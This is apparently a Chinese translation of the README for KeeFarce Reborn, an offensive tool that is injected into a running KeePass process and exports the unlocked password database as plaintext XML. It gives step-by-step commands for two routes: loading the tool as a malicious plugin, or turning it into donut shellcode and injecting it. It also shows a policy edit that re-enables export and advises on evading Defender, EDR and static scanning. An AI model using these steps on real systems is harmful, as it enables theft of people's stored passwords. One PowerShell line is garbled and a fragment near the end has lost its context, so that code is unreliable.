一款独立的 DLL,注入 KeePass 进程后可导出明文数据库。
深受优秀的 KeeFarce、KeeThief 和 KeePassHax 项目的启发。
几年前,@denandz 发布了 KeeFarce,这是第一个旨在提取 KeePass 明文数据库的攻击性工具。它的工作原理是将 DLL 注入正在运行的进程,然后使用 ClrMD 遍历堆以查找所需对象,并通过反射调用 KeePass 内置的导出方法。当时它唯一的缺点是需要在目标上放置多个文件(提取 DLL + ClrMD DLL + 注入器 + 引导 DLL)。
一年后,@tifkin_ 和 @harmj0y 发布了一篇针对 KeePass 的攻击技术深度综述(虽然 harmj0y 的博客上已无法访问,但文章可以在 Wayback Machine 上找到:第 1 部分、第 2 部分)。这最终促成了 KeeThief 的发布,该工具能够解密 KeePass 的主密钥(包括使用替代身份验证方法时)。它效果非常好,以至于 KeePass 开发者添加了一个参数来缓解这种技术(如果用户拥有足够权限,可以通过编辑 KeePass 配置文件来禁用它,这相当常见)。
这些工具很快成为我在渗透测试中的首选,但它们很快就过时了,因为它们的注入技术(即著名的 Win32 API 组合:VirtualAllocEx、WriteProcessMemory、CreateRemoteThread、WriteProcessMemory 等)现在会立即触发检测。@snovvcrash 通过分叉 KeeThief(现在在私有仓库中,但仍可在此访问)解决了这个问题,使用 D/Invoke 改进了注入机制,并撰写了一篇很棒的文章详细描述了他遵循的过程。虽然这证明了维护 KeeThief 的可行性,但我发现定期实现新的注入技术很困难,因为 KeeThief 的代码与其注入器紧密耦合。
@holly-cracker 还发布了 KeePassHax,它以一个单独的 DLL 形式提供,仅使用反射来解密 KeePass 的主密钥。受到这项工作的启发,我决定对 KeeFarce 做同样的事情,并编写自己的 KeePass 提取工具,具有以下特性:
KeeFarce Reborn 还提供了一个 KeePass 插件 DLL,让 KeePass 自行注入,无需费心使用注入器!
由于代码仅依赖 .NET Framework,没有外部依赖,因此应该可以轻松在 Visual Studio 2015 及更高版本上编译。
KeeFarce Reborn 不包含将 DLL 加载到 KeePass 进程的注入器。 这是有意为之,因为注入器每隔几个月就会过时,你必须使用自己的注入器。以下部分演示了两种典型的注入方式。
前提条件:对 KeePass 插件目录具有写入权限。
KeePass 具有插件框架,为用户提供附加功能。它的工作原理是将 DLL 加载到 KeePass 进程中,允许插件开发者在 KeePass 的应用程序域内执行操作。
因此,我们可以滥用此功能将 KeeFarce Reborn 作为插件加载,甚至无需使用外部注入器!你只需要编译 KeeFarceRebornPlugin 项目,并将 DLL 复制到插件目录(位于 KeePass 根目录,全局安装时为 "C:\Program Files\KeePass Password Safe 2\Plugins")。
为了项目能正确构建,你需要将目标 KeePass.exe 的程序集版本复制到 KeeFarceRebornPlugin 目录,或者如果你希望生成的插件与任何 KeePass 版本兼容,则使用 PLGX。
下次 KeePass 启动并解锁数据库时,DLL 将被加载并执行注入。如果 KeePass 已在运行,你需要等待其下次重启才能执行注入(或自行强制重启)。
⚠️ 一旦插件被加载,DLL 文件将受写保护,直到 KeePass 关闭。请记住这一点,以确保在评估过程中不会留下恶意插件。
如果你对 KeePass 插件目录没有写入权限,可以查看 Quarkslab 的文章,其中演示了如何通过插件缓存以较低权限加载插件。
前提条件:KeePass 正在运行 + 用户已解锁数据库 + 你拥有足够的权限注入 KeePass 进程。
因为我个人觉得在远程进程中隐蔽地注入 shellcode 比注入 DLL 更容易,所以我通常首先从我们的 DLL 生成位置无关的 shellcode。看起来 @odzhan 和 @TheWover 的 donut 项目完美地满足了我们的需求!
我们从 dev 分支的一个提交编译 donut,因为它修复了一个应用程序域管理问题,该问题会阻止我们在默认域中执行反射。
git clone https://github.com/TheWover/donut/
cd donut
git checkout 9d781d8da571eb1499122fc0e2d6e89e5a43603c
我们可以使用 nmake 工具轻松地从 Visual Studio 的 x64 Native Tools Command Prompt 构建:
nmake -f Makefile.msvc
生成 shellcode 非常简单:
.\donut.exe "C:\KeeFarceReborn\KeePassReborn\bin\Release\KeeFarceReborn.dll" -c KeeFarceReborn.Program -m Main -e 1
[ Donut shellcode generator v0.9.3
[ Copyright (c) 2019 TheWover, Odzhan
[ Instance type : Embedded
[ Module file : "C:\KeeFarceReborn\KeePassReborn\bin\Release\KeeFarceReborn.dll"
[ Entropy : None
[ File type : .NET DLL
[ Class : KeeFarceReborn.Program
[ Method : Main
[ Target CPU : x86+amd64
[ AMSI/WDLP : continue
[ Shellcode : "loader.bin"
请注意,
-e 1是必需的,用于禁用熵,否则注入的进程将不会位于默认应用程序域中。
让我们使用 PowerShell 压缩它,以便更容易集成到注入器的代码中:
$bytes = [System.IO.File]:https://raw.githubusercontent.com/d3lb3/keefarcereborn/main/:ReadAllBytes(%22C:%5Cdonut%5Cloader.bin%22)
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$deflateStream = New-Object System.IO.Compression.DeflateStream($outStream, [System.IO.Compression.CompressionLevel]::Optimal)
$deflateStream.Write($bytes, 0, $bytes.Length)
$deflateStream.Dispose()
$outBytes = $outStream.ToArray()
$outStream.Dispose()
$b64 = [System.Convert]::ToBase64String($outBytes)
Write-Output $b64 | clip
现在你有了一个可以随时使用你最喜欢的技术进行注入的 payload。如果你不知道接下来该怎么做,我建议你查看 ired.team Code & Process Injection 页面 来熟悉相关概念。如果你负担得起,@SEKTOR7 的恶意软件开发课程包含大量很棒的学习内容。
作为示例,让我们使用 snovvcrash 的 VeraCryptThief 代码(其本身受 SEKTOR7 课程启发)来注入我们的 payload,该代码使用了 D/Invoke。为了演示,我将他的项目复制到了 SampleInjector 文件夹中,我们只需要粘贴压缩后的 shellcode,然后在 x64 下编译即可。
虽然它目前(2022 年 11 月)仍然可以绕过 Defender,但为了绕过现代 EDR,你当然仍然需要自行修改注入器。这个示例注入器只是为了证明一切按预期工作。
在打开的 KeePass 数据库旁边运行 .\SampleInjector.exe,DLL 将被加载并执行注入。
注入完成后,你会看到 MessageBox 中打印的调试消息(在真实的渗透测试场景中显然应该移除),然后在当前用户的 %APPDATA% 中找到导出的数据库(默认选择该位置,因为 KeePass 肯定对其具有写入权限)。导出的 XML 文件之后可以导入到任何 KeePass 数据库中,无需输入密码。
如果插件或导出功能被策略禁用,只要你拥有写入权限,仍然可以通过编辑 KeePass.config.xml 来启用它们:
<Policy>
<Plugins>true</Plugins>
<Export>true</Export>
</Policy>
虽然 KeePass 提取工具检测的主要问题在于注入器,但内存扫描在分析 shellcode 或插件 DLL 时也可能触发警报。你可能需要对 shellcode 进行混淆和/或加密,以便与你的注入器一起使用。
如果插件 DLL 最终被静态分析标记,你仍然可以使用 KeePass 的 PLGX 插件格式 来避免检测。
DISM.exe 从命令行手动安装。欢迎提交 Pull Request。请随时打开 issue 或在 Twitter 上私信我以提出改进建议。
部分代码取自 KeeFarce、KeeThief 和 KeePassHax 项目。
示例注入机制直接取自 snovvcrash 的项目。